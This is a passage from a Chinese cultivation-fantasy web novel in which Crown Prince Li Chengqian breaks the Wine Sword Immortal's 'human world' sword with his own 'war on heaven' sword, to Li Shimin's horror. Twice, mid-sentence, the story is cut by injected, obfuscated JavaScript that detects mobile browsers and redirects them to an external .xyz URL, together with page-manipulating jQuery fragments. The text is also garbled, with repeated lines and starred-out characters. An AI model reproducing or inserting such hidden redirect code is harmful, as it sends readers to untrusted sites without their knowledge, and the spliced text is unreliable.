在这股道韵面前,无论是孔伯渊那残存的浩然正气,还是李道玄的皇道龙气,都显得那么的渺小,那么的……微不足道。 就连李承乾,也感觉到了一股前所未有的压力。 那不是力量上的压力,而是一种……生命层次上的差距。 仿佛他面对的,不再是一个人,而是……整个世界。 李承乾的瞳孔,缩成了针尖大小。 他知道,自己可能,还是小看了这个酒鬼。 这个人,已经走到了“天人合一”的境界! 这已经是半只脚,踏入了“仙”的门槛! “小子,准备好了吗?” 酒剑仙缓缓睁开了眼睛,他的眸子,清澈如水,却又深邃如星空,仿佛能倒映出世间万物。 他的手中,不知何时,已经多了一柄剑。 那柄剑,很普通。 就是一柄最常见的,铁匠铺里几百文钱就能买到的青钢剑。 剑身之上,甚至还有几处细小的豁口。 可就是这样一柄普通的剑,在他手中,却仿佛拥有了生命。 “我这一剑,酝酿了三十年。” 酒剑仙的声音,变得无比的悠远和空灵。 “三十年前,我于东海之滨,观潮起潮落,悟‘水之剑意’。” “二十年前,我于泰山之巅,看日出云海,悟‘山之剑意’。” “十年前,我流连于红尘俗世,看尽人间悲欢离合,生死别离,终有所悟。” 他缓缓地,举起了手中的剑。 剑尖,斜指苍穹。 “今日,便让你见识一下,我这三十年,悟出的……唯一一剑。” 酒剑仙的眼神,瞬间变得无比的专注和虔诚。 他看着手中的剑,仿佛在看自己最心爱的珍宝。 “小子,看好了。” “此剑,名为……” “人间。” 人间。 当这两个字,从酒剑仙口中吐出的瞬间。 他手中的那柄普通铁剑,仿佛活了过来。 没有惊天动地的剑光,没有撕裂苍穹的剑气。 酒剑仙只是那么平平常常地,对着李承乾,一剑刺出。 很慢。 慢到城楼上的李世民,都能看清那剑尖的轨迹。 很轻。 轻到仿佛只是情人间的嬉戏,不带一丝烟火气。 然而,就是这又慢又轻的一剑,却让身为目标的李承乾,浑身的汗**,根根倒竖! 他感觉不到任何杀气,也感觉不到任何力量。 但他却有一种无论自己逃到天涯海角,都无法躲开这一剑的恐怖错觉! 因为,这一剑,锁定的,不是他的身体,而是他的……神魂! 李承乾的瞳孔,骤然收缩。 他想要后退,却发现自己的身体,仿佛被万钧巨力压住,动弹不得。 他想要调动体内的黑色帝气,却发现那股往日里随心所欲的力量,此刻竟像是沉睡了一般,毫无反应! 他被……压制了! 在酒剑仙这名为“人间”的一剑面前,他那身霸道的力量,他那钢铁般的意志,仿佛都成了一个笑话! 他只能眼睁睁地,看着那柄普通的铁剑,离自己的眉心,越来越近。 然后…… 剑尖,刺入了他的眉心。 没有疼痛,没有鲜血。 李承乾只觉得眼前一花,整个世界,都变了。 他不再是那个高高在上的太子,不再是那个主宰生死的魔王。 他变成了一个,刚刚在田里忙活了一天,累得直不起腰的老农。他看着干裂的土地,心中只想着,明天,会不会下雨?今年的收成,够不够交税?家里的婆娘和娃,能不能吃上一顿饱饭? 画面一转。 他又变成了一个,十年寒窗,却名落孙山的落魄书生。他坐在酒楼里,一杯接一杯地喝着闷酒,听着邻桌的欢声笑语,只觉得这世间,没有他的容身之处。他的才华,他的抱负,在残酷的现实面前,一文不值。 画面再转。 他成了一个刚刚披上嫁衣,满心欢喜,准备嫁给心上人的少女。 他又成了一个在战场上,失去了所有同袍,抱着战友冰冷尸体痛哭的士兵。 他又成了一个,躺在病床上,生命即将走到尽头,看着窗外夕阳,留恋着这个世界的老人…… 喜、怒、哀、惧、爱、恶、欲。 生、老、病、死、怨憎会、爱别离、求不得。 这世间所有凡人的情感,所有凡人的苦难,在这一瞬间,如同决堤的洪水,疯狂地,涌入了他的脑海! 这些情感,驳杂,渺小,却又无比的真实。 它们冲击着李承乾那颗早已被“宏大叙事”和“救世理想”填满的道心。 他的道,是高高在上的,是俯瞰众生的。 他眼中的苍生,是一个模糊的,可以为了更远大目标而被牺牲的整体。 可现在,这一剑,却逼着他,将目光,从那九天之上,拉回到了这片满是泥泞与尘埃的……人间! 他看到了,每一个被他视为“棋子”的个体,都有着自己的悲欢,自己的故事,自己的,小小的,却又无比珍贵的希望。 “轰——!” 李承乾的道心,在这股庞大而又真实的人间洪流冲击之下,剧烈地动摇起来! 他那坚如磐石的意志,开始出现裂痕! 他那“为救世而杀戮”的理念,第一次,显得那么的苍白,那么的……可笑。 “噗!” 李承乾猛地喷出了一口鲜血,那不是身体的伤,而是……道心受损的反噬! 他的脸色,瞬间惨白如纸,身体摇摇欲坠。 外界,不过是弹指一挥间。 酒剑仙的那柄铁剑,剑尖已经轻轻地,抵在了李承乾的眉心。 只要他再前进一分,就能轻易地,洞穿这位太子的头颅。 输了。 李承乾,输了。 在这名为“人间”的一剑之下,他输得,一败涂地。 酒剑仙静静地看着他,缓缓地,收回了剑。 “小子,”他的声音,在李承乾的灵魂深处响起,“现在,你懂了吗?” “这,就是人间。” “现在,你懂了吗?” 酒剑仙的声音,在李承乾的灵魂深处响起,带着一种过来人的沧桑与怜悯。 “这,就是人间。” 人间…… 这两个字,像是两座无法逾越的大山,狠狠压在了李承乾的道心之上。 眼前无数的幻象在生灭。 老农的祈求,书生的不甘,少女的羞涩,士兵的悲鸣,老人的留恋…… 一幕幕,一桩桩,都是他曾经不屑一顾,甚至懒得去看的凡俗琐事。他视苍生为棋盘,视万民为棋子,他要的是最终的胜利,是那宏伟蓝图的实现。至于棋子的磨损,棋盘的震荡,他从不在意。 可是现在,酒剑仙的这一剑,将每一颗棋子都放大了无数倍,将它们的喜怒哀乐,它们的悲欢离合,它们那渺小却又真实的愿望,毫无保留地,灌注到了他这个执棋者的脑海里! 他的道,是掌控,是毁灭,是新生。 他要用最铁血的手段,扫清一切腐朽,建立一个他心目中的,皇权至上,令行禁止的铁血大唐。 可这人间一剑,却在质问他。 你凭什么? 你凭什么替那个老农决定他的生死?你连他最大的愿望只是求一场雨都不知道。 你凭什么去定义那个书生的价值?你连他十年寒窗的苦楚都未曾体会。 你凭什么……去决定这芸芸众生的命运? 你甚至,根本不懂他们! “轰!” 李承乾那坚不可摧的道心,那颗被“救世”这个宏大目标包裹得严严实实的内心,第一次,出现了一道清晰的裂痕。 他那股融合了杀伐、毁灭、新生、愿力的黑色帝气,因为道心的动摇,开始剧烈地翻涌,甚至出现了失控的迹象。一股股暴虐、嗜血的负面情绪,从力量的深处反噬而来,疯狂地冲击着他的理智。 杀了他! 杀了这个敢动摇我道心的酒鬼! 只要杀了他,这一切就都结束了! 这个念头,如同魔鬼的低语,在他的脑海中疯狂叫嚣。 城楼之上,清微道长和五大长老的脸色,已经难看到了极点。 “不好!殿下的道心被破了!”凤道人失声惊呼,声音里充满了焦急与恐慌。 他们看得分明,李承乾此刻的状态极其危险。他那身力量本就是一把双刃剑,全靠他那坚如磐石的意志在驾驭。如今意志动摇,力量反噬,稍有不慎,就是万劫不复的下场! 清微道长的心,也沉到了谷底。 他知道酒剑仙的剑厉害,但他没想到,会厉害到这种地步! 这已经不是剑术了,这是“道”的攻击! 酒剑仙用他那流连红尘百年所悟出的“人间道”,直接攻击了李承乾“霸道”的根基! “司剑师叔!住手!”清微道长对着城下大喝,“殿下乃是应劫之人,身系天下苍生,你若毁他道心,便是毁了这人间最后的希望!” 然而,酒剑仙只是静静地看着李承乾,那柄普通的铁剑,剑尖依旧稳稳地抵在李承乾的眉心。 他没有再进一步,也没有收回。 他在等。 等李承乾自己的选择。 是沉沦于这人间百态,道心彻底破碎,变成一个被力量吞噬的疯魔? 还是……从这人间百-态中,走出一条属于他自己的,全新的路? “噗!” 李承乾又是一口鲜血喷出,他的脸色惨白得像一张纸,身体晃了晃,几乎要栽倒在地。 他输了。 在这一剑的交锋中,他输得彻彻底底。 他引以为傲的力量,在这一剑面前,被彻底禁锢。 他坚不可摧的意志,在这一剑面前,被撕开裂痕。 他那“为救世而杀戮”的理念,在这一剑面前,显得那么的苍白无力。 “哈哈……哈哈哈哈!” 城楼上,一直疯疯癫癫的李世民,看到这一幕,突然又大笑了起来。 他笑得比之前任何一次都要开心,都要畅快。 “报应!报应啊!” 他指着摇摇欲坠的李承乾,笑得眼泪都出来了。 “孽子!你看到了吗!你以为你就是天命?你以为你就能主宰一切?你也有今天!你也有被人用剑指着眉心,动弹不得的一天!” “杀了他!酒剑仙!杀了他!为我那两个孩儿报仇!为朕报仇!” 李世民的吼声,充满了恶毒的快意。 他不在乎什么天下苍生,不在乎什么锁妖塔。他只想看到,这个将他的一切都碾碎的儿子,死在他的面前! 苏定方和他身后的神策军将士们,一个个紧张地握紧了手中的兵器。他们看着那个摇摇欲坠的太子,心中充满了担忧。 他们刚刚选择效忠的神明,难道……就要在这里陨落了吗? 所有人的心,都提到了嗓子眼。 玄武门前,一片死寂。 只有李承乾粗重的喘息声。 他的眼前,依旧是那无穷无尽的人间幻象。 老农,书生,少女,士兵…… 他们的痛苦,他们的绝望,他们的悲伤,像潮水一样,一波又一波地冲击着他。 他的道心裂痕,越来越大。 那股黑色的帝气,越来越狂暴。 他感觉自己的意识,正在被那股纯粹的杀戮和毁灭意志所吞噬。 难道……我真的错了吗? 难道,我所做的一切,都只是一个自以为是的笑话? 这个念头,像毒蛇一样,缠绕着他,啃噬着他。 “不……” 就在李承乾的意识即将沉沦的最后一刻,一个微弱,但却无比坚定的声音,从他道心的最深处响起。 “我……没错!” 李承乾猛地抬起头,那双因为痛苦和挣扎而布满血丝的眼睛,死死地盯住了酒剑仙! “你的‘人间’,我看完了。” 他的声音沙哑,却带着一种重新凝聚起来的,不容置疑的力量。 “很真实,很可怜。” “但是……” 李承乾的嘴角,缓缓勾起一抹冰冷的,带着无尽疯狂的弧度。 “太弱了!” 李承乾这三个字,声音不大,却像一道炸雷,在死寂的玄武门前轰然响起! 所有人都愣住了。 都到这个地步了,他竟然还说得出这种话? 他难道疯了吗? 城楼上,李世民的笑声戛然而止,他不敢置信地看着自己的儿子。 清微道长等人,也是一脸的错愕。他们以为李承乾的道心即将崩溃,却没想到,他竟然还能说出如此狂悖之言! 只有酒剑仙,他那双清澈如水的眸子里,闪过了一丝诧异。 他能感觉到,李承乾那即将崩溃的道心,竟然在这一刻,奇迹般地,稳住了! 虽然那裂痕依旧存在,但却不再扩大。一股全新的,更加霸道,更加纯粹的意志,正在从那裂痕之中,疯狂地生长出来! “你说什么?”酒剑仙的眉头,第一次,微微皱起。 “我说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267099|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的道,太弱了。” 李承乾缓缓地,直起了自己那摇摇欲坠的身体。 他看着酒剑仙,那双布满血丝的眼睛里,燃烧着骇人的火焰。 “你让我看人间疾苦,让我体会众生悲欢。你想用这些,来动摇我的道,告诉我,我的路是错的。” “你成功了,我的道心,确实动摇了。” 李承乾坦然承认。 “但是,你也让我看得更清楚了!” 他的声音,陡然变得高亢,充满了不容置疑的疯狂与决绝! “正是因为他们这么弱!这么可怜!这么无助!所以,他们才需要一个强者,一个神,来引领他们!来保护他们!来为他们,规划出一条正确的路!” “你所谓的‘尊重’,所谓的让他们‘自己选择’,不过是自欺欺人!” “让他们自己选择?选择在干旱中活活渴死?选择在豪门的压榨下世代为奴?选择在即将到来的灭世天劫中,化为飞灰吗?!” “你的‘守护’,守护的不过是这个腐朽的,即将崩塌的烂摊子!你只是在延缓它的死亡,却根本没有能力,也没有勇气,去治好它!” 李承乾向前,踏出了一步。 就是这一步,他那因为道心受损而萎靡的气势,轰然暴涨! 那股狂暴的,即将失控的黑色帝气,在这一刻,仿佛找到了新的宣泄口,非但没有反噬,反而以一种更加恐怖的姿态,与他那全新的意志,完美地融合在了一起! “而我,不一样!” 李承乾指着自己,又指着酒剑仙,声音如同审判。 “我的道,不是守护,是创造!” “我要砸碎这个旧世界!我要碾碎那些所谓的规矩!我要将所有阻碍在我面前的,无论是人,是神,还是这所谓的天道,统统毁灭!” “然后,在这片废墟之上,建立,全新的世界!” “在这个世界里,没有压迫,没有不公!所有人,都将在我的意志之下,迎来真正的,永恒的盛世!” “你用人间的软弱来考验我,却不知,这只会让我更加坚定!” 李承乾张开双臂,仿佛要拥抱整个天地。 那通天的黑色光柱,再一次,从他身上冲天而起! 但这一次,那黑色之中,却不再仅仅是毁灭与杀伐。 在那最深处,似乎有一点金色的光芒,正在孕育。 那是比李道玄的皇道龙气更加尊贵,比孔伯渊的浩然正气更加宏大,一种凌驾于一切之上的……创世之光! “酒剑仙,多谢你的‘人间’一剑。” 李承乾看着他,脸上露出了一抹冰冷的笑容。 “它让我明白了,我的道,没有错。” “现在,轮到你了。” 他缓缓抬起右手,食指与中指并拢,化作剑指。 没有剑。 他的手中,空无一物。 但他那并拢的剑指,却散发出一股比酒剑仙的铁剑,比蜀山的三千仙剑,更加恐怖,更加纯粹的剑意! 那是一种……唯我独尊,主宰一切的意志之剑! “我的剑,不问人心,也不问天地。” 李承乾的声音,变得无比的漠然。 “我的剑,只在我身前三尺之地。” “因为……” “身前三尺,我,即是天!” 话音落下的瞬间,以李承乾的身体为中心,方圆三尺之内,空间,仿佛被一股无形的力量,彻底隔绝! 那片区域,光线扭曲,法则崩坏! 仿佛自成一界! 那里,没有风,没有光,没有声音,没有任何天地元气。 有的,只是李承乾那绝对的,不容置疑的意志! 酒剑仙的脸色,终于变了。 他那双清澈如水的眸子里,第一次,露出了真正的,凝重的神色。 他能感觉到,自己与李承乾之间,那股玄之又玄的“道”的连接,被斩断了! 李承乾,用他自己的意志,强行在现实世界中,开辟出了一个属于他自己的“神国”! 在这个“神国”之内,他,就是唯一的神!唯一的法则! 这是何等疯狂,何等霸道的手段! “来吧。” 李承乾的剑指,遥遥指向酒剑仙。 “让我看看,你这所谓的‘人间’,能不能,踏入我的‘天’!” 李承乾的声音,不大,却带着一种绝对的自信,回荡在玄武门前。 酒剑仙的脸色,前所未有的凝重。 他看着李承乾身周那片扭曲的空间,那片自成一界的“神国”,他那颗游戏人间百年,早已古井不波的道心,也掀起了惊涛骇浪。 疯子! 这是一个彻头彻彻尾的疯子! 他竟然真的从自己的“人间”一剑中,悟出了这样一条决绝、霸道,甚至可以说是与整个世界为敌的道路! 以自身意志,取代天道法则! 身前三尺,自成一界! 这种事情,别说做了,他连想都不敢想! 这已经不是修士的范畴了,这是……创世神才有的权能! 虽然,这个“神国”的范围,只有区区三尺。 但其代表的意义,却足以让任何一个了解“道”的存在的,都感到头皮发麻! “好……好一个身前三尺我为天!” 酒剑仙深吸一口气,他那双清澈的眸子里,战意,如同火山般喷发! 他已经很久,没有遇到过能让他如此兴奋的对手了。 他手中的那柄普通铁剑,发出了清越的嗡鸣,仿佛也在为即将到来的碰撞而感到激动。 “小子,你很狂。” “但是,你以为,区区三尺之地,就能隔绝人间吗?” 酒剑仙的身影,动了。 他没有后退,反而向前,一步踏出! 他手中的铁剑,再次平平常常地刺出。 依旧是那一招——人间! 没有剑光,没有剑气。 只有那股包含了人间百态,众生悲欢的无上剑意,如同浩浩荡荡的洪流,涌向李承乾。 酒剑仙相信,只要这天地还在,只要这人间还有生灵,他这一剑,就是无解的! 因为,他代表的,是众生!是世界本身! 区区一个人的意志,哪怕再强,又如何能与整个世界抗衡? 所有人都屏住了呼吸。 清微道长、孔伯渊、李道玄……所有人的目光,都死死地盯着那柄刺出的铁剑。 他们想知道,李承乾那狂妄的“三尺之天”,到底能不能挡住这代表了“人间”的一剑! 剑尖,离李承乾的眉心,越来越近。 十尺,五尺,四尺…… 三尺! 当酒剑仙的剑尖,踏入李承乾身前三尺范围的瞬间—— 异变,陡生! 没有惊天动地的碰撞。 没有法则湮灭的巨响。 那柄承载了人间万象,足以让李承乾道心破碎的铁剑,在进入那片扭曲空间的刹那,就像是投入了烧红烙铁的冰雪。 “滋啦——” 一声轻微到几乎无法听见的声响。 那股浩浩荡荡,无坚不摧的“人间”剑意,在接触到李承乾“神国”的瞬间,竟被那股绝对的,唯我独尊的意志,强行地,分解、扭曲、湮灭! 老农的祈求,化作了虚无。 书生的不甘,烟消云散。 少女的羞涩,士兵的悲鸣……一切的一切,都在那片“神国”之中,被彻底抹去! 因为,在李承乾的“天”里,不需要这些驳杂的情感! 在他的“天”里,只需要一个意志,那就是他李承乾的意志! 酒剑仙的瞳孔,猛地缩成了针尖大小! 他感觉到了! 我于人间全无敌! 不与天战与谁战! 他感觉自己刺出的那一剑,仿佛刺入了一个空无一物的黑洞! 他与“人间”的连接,他与众生的共鸣,在这一刻,被强行斩断了! 他手中的铁剑,在那三尺之内,变成了一柄再也普通不过的凡铁! 上面承载的所有“道”,都被剥离得干干净净! “这……怎么可能?!” 酒剑仙失声惊呼,他脸上的战意,第一次,被骇然所取代! 他无法理解眼前发生的一切! 他的道,是源于这个世界的。可李承乾的道,却仿佛……凌驾于这个世界之上! 第152章 败酒剑仙! 在他的领域里,他可以随意修改这个世界的法则! “我说过。” 李承乾的声音,在那片绝对寂静的“神国”中响起,清晰地传入酒剑仙的耳中。 “你的道,太弱。” “你的‘人间’,连我的‘天’,都进不来!” 李承乾那并拢的剑指,动了。 他没有去格挡酒剑仙的剑。 而是以一种看似缓慢,实则快到了极致的速度,轻轻地,点向了酒剑仙的眉心。 这是…… 反击! 在自己的“神国”之内,李承乾,发动了属于他的,审判的一击! 酒剑仙浑身的汗**,根根倒竖! 他感觉到了前所未有的,死亡的威胁! 他想要后退,却发现自己的身体,被一只无形的大手死死攥住,在那片诡异的领域中,动弹不得! 他想要调动体内的灵力,却发现天地元气,在这里根本就不存在! 他,被彻底压制了! 就像刚才,李承乾被他的“人间”一剑压制时一样! 只不过,这一次,攻守之势,彻底逆转! “不!” 酒剑仙怒吼一声,他体内的剑元,疯狂爆发! 他要用最纯粹的力量,挣脱这片领域的束缚! 然而,没用! 在那三尺“神国”之中,李承乾的意志,就是绝对的法则! 除非酒剑仙的力量,能在一瞬间,强大到足以撑爆这片领域,否则,他的一切反抗,都是徒劳! 只能眼睁睁地,看着那根手指,离自己的眉心,越来越近。 完了! 酒剑仙的心中,闪过绝望。 他纵横一生,逍遥一世,没想到,今日,竟要陨落在一个年轻人的手中! 然而,就在李承乾的指尖,即将触碰到酒剑仙眉心的前一刹那。 他,停住了。 那根散发着无尽毁灭气息的剑指,稳稳地,停在了酒剑仙眉前半寸之地。 凌厉的意志之剑,甚至已经刺痛了酒剑仙的皮肤。 但,终究没有再进一步。 “为什么?” 酒剑仙喘着粗气,惊魂未定地看着李承乾。 李承乾缓缓收回了手指,他身周那片扭曲的空间,也随之恢复了正常。 他看着酒剑仙,眼神漠然。 “因为,我的剑,不是用来杀你的。” “我的剑,不是用来杀你的。” 李承乾的声音,平淡,却带着一种令人无法理解的,更加宏大的意图。 酒剑仙愣住了。 玄武门前,所有观战的人,也都愣住了。 赢了? 太子殿下,竟然真的赢了? 他不仅挡住了酒剑仙那神乎其技的“人间”一剑,甚至还反过来,将这位成名百年的传奇剑仙,逼入了绝境! 如果不是他最后手下留情,酒剑仙,恐怕已经是一个**了! 这个结果,彻底颠覆了所有人的认知! “怎……怎么会……” 天空中的清微道长,看着毫发无损的李承乾,又看了看下方脸色煞白,一脸惊魂未定的师叔司剑,脑中一片空白。 他完全无法理解,刚才发生了什么。 那场对决,已经超越了他对“道”的认知。 一个人的意志,真的可以强大到,扭曲现实,自成一界的吗? 那已经不是“道”了,那是…… 神迹! “怪物……他就是个怪物……” 衍圣公孔伯渊,瘫坐在地上,嘴唇哆嗦着,喃喃自语。 他心中的那点儒家傲骨,在见证了这一幕之后,被彻底碾得粉碎。 如果说,之前李承乾击败他,靠的是更加霸道,更加符合“天理”的新生之道。 那么现在,李承乾所展现出的,是完全不讲道理的,凌驾于一切“理”之上的,绝对的意志! 在这种力量面前,谈什么“仁义礼法”,谈什么“纲常伦理”,都显得那么的可笑,那么的幼稚。 李道玄也是一脸的失魂落魄。 他修的“太上忘情”,追求的是天人合一,与道同尘。 可李承乾的道,却是要将这天,这道,都踩在脚下! 孰高孰下,一目了然。 他第一次感觉,自己这几百年,都修到狗身上去了。 “你……你的剑,究竟是什么?” 酒剑仙死死地盯着李承管,问出了所有人都想知道的问题。 他想不通,那到底是怎样的一剑。 为何会有如此霸道,如此不讲道理的力量? 李承乾看着他,那双漆黑的眼眸,深邃得能吞噬一切。 他没有立刻回答,而是缓缓抬起头,望向了那片被血腥气和各种力量搅得混乱不堪的天空。 他的目光,穿透了云层,穿透了时空,看到了那座屹立在蜀山之巅,正在不断崩坏的锁妖塔。 看到了那塔底深处,正在对着封印,发出无声咆哮的,万妖之祖。 也看到了,这片神州大地,那正在不断被污染,不断衰败的龙脉。 “我的剑……” 李承乾缓缓开口,声音里,带着一种睥睨天下的孤傲与决绝。 “从来都不是为了与人争斗。” “无论是李世民,还是孔伯渊,又或者是你,酒剑仙。” “你们,在我眼中,都不过是路边的石子而已。” “我若想,随时可以一脚踢开,甚至……一脚踩碎。” “但那,没有意义。” 此言一出,全场哗然。 狂! 太狂了! 他竟然将衍圣公,将李氏老祖,甚至将刚刚与他惊天一战的酒剑仙,都比作了路边的石子! 可是,没有人敢反驳。 因为,他刚刚所展现出的力量,证明了他,有说这话的资格! 李承乾没有理会众人的震惊,他只是自顾自地,继续说道:“我辈修士,逆天而行,夺天地之造化,炼日月之精华,为的是什么?” “是为了长生不死?是为了逍遥自在?” 他的目光,转向酒剑仙,带着不屑。 “格局,太小了。” “你流连人间百年,看尽了悲欢离合,所以你的剑,是‘人间’。你想守护这片人间,让它免遭涂炭。” “你的心,是好的。” “但是,你错了。” 李承乾的声音,变得无比冰冷。 “因为,你所守护的这片人间,它本身,就已经病入膏肓,无可救药了!” “天道崩坏,龙脉被污,妖魔即将出世,大劫就在眼前!” “你守得住吗?!” 李承乾一声厉喝,如同惊雷,直问酒剑仙的道心! “你守不住!” “你的‘人间’剑意,在真正的灭世天劫面前,脆弱得就像一个笑话!” “你所谓的守护,不过是螳臂当车,自取灭亡!” 酒剑仙的脸色,一瞬间变得无比难看。 他无法反驳。 因为李承乾说的,是事实。 他虽然游戏人间,但他又何尝不知道,锁妖塔的危机,已经到了何等严重的地步? 他这次下山,本就是想看看,这人间,还有没有救。 “所以……” 李承乾的眼中,爆发出骇人的神光。 “既然这人间,已经全无敌手。” “既然这天道,已经腐朽不堪。” “那我,不与天战,又与谁战?!” “轰——!” 话音落下的瞬间,比之前更加恐怖,更加纯粹的战意,从李承乾的身上,冲天而起! 那不是杀伐之气,也不是毁灭之意。 那是一种…… 要将这天,都捅出一个窟窿! 要将这地,都掀个底朝天! 要将这不公的命运,这腐朽的天道,彻底砸碎的,无上战意! 在这股战意面前,无论是酒剑仙的“人间”,还是孔伯渊的“礼法”,都显得那么的渺小。 因为,他们的道,都还在这片天地的框架之内。 而李承乾的道,从一开始,就是要跳出这个框架,甚至,毁灭这个框架! “我的剑,是战天之剑!” 李承乾一字一顿地,说出了他这一剑的名字。 “它的敌人,从来都不是人。” “而是这天!” “是这即将崩塌的秩序!是那即将到来的大劫!” “是以万物为刍狗的,所谓的天道!” 李承乾的剑指,再一次,遥遥指向天空。 那股无上的战意,凝聚于指尖,化作一道无形的剑气,直冲云霄! 要对那高高在上的天道,发起挑战! “酒剑仙,你输了。” 李承乾收回手指,重新看向那个已经彻底呆滞的酒鬼。 “你的‘人间’,困于人间,终究只能在人间打转。” “而我的‘战天’,早已将目光,放在了这人间之外。” “你,如何能赢我?” 战天之剑! 这四个字,如同烙印,深深地刻在了在场每一个人的灵魂之中。 他们看着那个站在玄武门前,虽一身玄衣,却比日月星辰还要耀眼的年轻人,心中只剩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267100|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下无尽的敬畏与颤栗。 原来,他从一开始,就不是为了皇位。 他的敌人,是天! 何等狂妄! 何等…… 壮哉! 苏定方和他身后的神策军将士,看着李承乾的背影,眼神中的狂热,已经无法用言语来形容。 他们只觉得,自己追随的,不是一个凡人,而是一个即将逆天伐神,开创全新纪元的…… 神王! 能追随这样的存在,战死沙场,又算得了什么? 那是无上的荣耀! 天空中的清微道长和五大长老,此刻的心情,更是复杂到了极点。 他们选择辅佐李承乾,是因为从他身上看到了解决锁妖塔危机的希望。 可他们也从未想过,这份希望,会以如此霸道,如此极端的方式,呈现在他们面前。 战天! 蜀山修道千年,讲究的是顺天而行,是替天行道。 可李承乾,却要逆天而行,要战天证道! 这条路,已经完全超出了他们的理解。 但他们又不得不承认,李承乾说的,或许是对的。 如今这天道,确实已经崩坏了。 顺着它走,只有死路一条。 或许,只有像李承乾这样,拥有砸碎一切勇气的疯子,才能在这片废墟之上,开辟出一条全新的生路! “战天……” 清微道长喃喃自语,他看着李承乾的眼神,从最初的敬畏,渐渐变成了一种…… 狂热的认同! 或许,蜀山,也该换一种活法了! 而场中,最痛苦的,莫过于酒剑仙。 “战天……” 他咀嚼着这两个字,只觉得自己的道心,在寸寸碎裂。 他的“人间道”,在李承乾的“战天道”面前,被衬托得,是那么的渺小,那么的…… 幼稚。 是啊。 谁对? 谁错? 在“活下去”这个最根本的目标面前,还有对错可言吗? 酒剑仙的“逍遥”,是建立在天地安稳,人间太平的基础之上的。 可现在,这个基础,即将崩塌。 他的道,他的剑,他的逍遥,都成了无根的浮萍,一戳就破。 “噗!” 酒剑仙猛地喷出了一口鲜血。 那不是身体的伤,而是他的“道”,被李承乾的“道”,从根本上,彻底击溃了! 他手中的那柄普通铁剑,发出一声哀鸣,“咔嚓”一声,从中断裂,掉在了地上。 剑断了。 道,也碎了。 这位游戏人间百年,以“逍遥”为名的传奇剑仙,在这一刻,瞬间苍老了几十岁。 他那双清澈的眸子,变得浑浊不堪,充满了迷茫与痛苦。 他输了。 输掉了赌约。 更输掉了,他坚守了一生的道。 “哈哈……哈哈哈哈……” 酒剑仙突然大笑了起来,那笑声,充满了无尽的悲凉与自嘲。 “战天……好一个战天之剑……” “原来,我这百年,都活到狗身上去了……” “我以为我懂剑,我以为我懂道,原来……我懂个屁!” 他摇摇晃晃地,真的醉了一样,一屁股坐在了地上,抱着那半截断剑,眼神空洞。 一个剑客,剑断了,心**,那他,还剩下什么? 李承乾静静地看着他,眼中没有胜利的喜悦。 他知道,自己毁掉了一个绝世强者的道。 但,他别无选择。 他的路上,不允许有任何阻碍。 无论是人,是道,还是天! “现在,你还觉得,你的路,是正确的吗?” 李承乾的声音,在酒剑仙的耳边响起。 这正是刚才,酒剑仙问他的话。 现在,他原封不动地,还了回去。 战天之剑。 这四个字,像是一座无形的大山,将酒剑仙最后的那点逍遥与傲骨,碾得粉碎。 他输了。 输掉了赌约,输掉了道,输掉了一生所信奉的一切。 那柄跟随他百年,饮过无数美酒,斩过无数妖魔的铁剑,“咔嚓”一声,应声而断。 天空中的清微道长和五大长老,看着下方那个抱着断剑,状若痴傻的师叔,心情复杂到了极点。他们一方面为李承乾那深不可测的实力感到心惊,另一方面,又为这位曾经的蜀山传奇,感到一丝悲哀。 道途之争,便是如此残酷。 一步踏错,便是万劫不复。 第153章 三堂会审的结果,幕后金主就是李世民 城楼之上,那个刚刚从地狱边缘爬回来的李世民,脸上的表情,比**还要难看。 他那因为狂喜而布满血丝的眼睛,此刻瞪得像铜铃一样大,死死地盯着城下那个颓然坐地的酒鬼。 怎么会? 怎么可能会这样?! 那是酒剑仙啊!那是连蜀山掌教都要恭恭敬敬叫一声师叔的存在!那是他李世民最后的,也是唯一的救命稻草! 他刚刚才用皇帝的身份,用大唐国师的许诺,驱使了这位“仙人”为自己而战。他以为自己赌赢了,他以为自己终于可以把那个逆子,那个怪物,彻底踩在脚下,一雪前耻! 可结果呢? 一剑! 仅仅一剑的交锋! 不,甚至都不能算是一剑的交锋。 自己的救命稻草,自己的“仙人”,就被那个怪物,用一种他完全无法理解的方式,彻底击溃了! 连道心都给打碎了! 李世民感觉自己的脑子不够用了。他那刚刚因为希望而重新开始跳动的心脏,在这一刻,仿佛被一只无形的大手狠狠攥住,连呼吸都变得无比困难。 恐惧。 一种比之前任何一次都更加深沉,更加纯粹的恐惧,如同冰冷的潮水,瞬间淹没了他。 他终于明白了。 他面对的,根本不是一个野心勃勃的儿子。 他面对的,是一个真正的,无法用常理去揣度的……怪物!一个连“仙人”都能随意揉捏的,超越了世间一切规则的,恐怖的存在! 他之前所有的帝王心术,所有的权谋算计,在这绝对的力量面前,都显得那么的可笑,那么的幼稚,像一个三岁孩童,挥舞着木剑,要去挑战一头真正的洪荒巨兽。 “哈哈……哈哈……” 李世民的喉咙里,发出了几声干涩而又怪异的笑声。 他输了。 输得连底裤都不剩了。 他最后的希望,最后的依仗,被那个怪物,用最残忍,最直接的方式,当着他的面,撕了个粉碎。 “我的路,是正确的吗?” 李承乾那平淡的声音,在酒剑仙的耳边响起,也同样清晰地,传入了李世民的耳中。 这句反问,像是一记无情的耳光,狠狠地抽在了李世民的脸上。 